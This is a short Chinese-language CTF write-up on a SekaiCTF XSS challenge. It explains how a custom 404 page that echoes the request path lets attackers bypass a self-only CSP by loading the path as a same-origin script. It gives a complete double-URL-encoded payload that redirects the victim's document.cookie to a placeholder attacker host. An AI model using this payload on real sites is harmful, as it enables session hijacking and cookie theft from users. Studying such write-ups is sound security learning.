sekaiCTF 看了一个 xss 看题目还以为要从服务上入手 绕 csp 还是什么的

Untitled.png

csp 限定的很死 只能 self

但是这里有一个自定义的 404 页面

Untitled.png

他会把你访问的 path 再作为文件返回回来 这样就可以构造一个 path 把 js 代码写在 path 上 再二次引用一下 这时引用的就是源站本身的地址 不属于 inline 了

也就是说把 js 写在 path 里 服务把 path 返回成 js 文件 再加载了这个虚拟的文件

url=http%3A%2F%2F127.0.0.1%3A5000%2Faaa%2F%3Cscript%20src%3D'.%252F%25250awindow.onload%3Dfunction()%7B%0Alocation.href%20%3D%20%22http%3A%25252F%25252Fxxx.xxx.xxx.xxx%3Axxxx%25252F%22%25252Bdocument.cookie%3B%0A%7D%3B%25250a%25252F%25252F%0A'%3E%3C%252Fscript%3E

注意这里的 path 开头会有一个斜杠 它会被识别成 regex 的开头从而报错无法继续运行 可以再写一个斜杠将其闭合

/aaa/

后面的 notfound 也要注释掉 换行 两次 url 编码就可以了

Untitled.png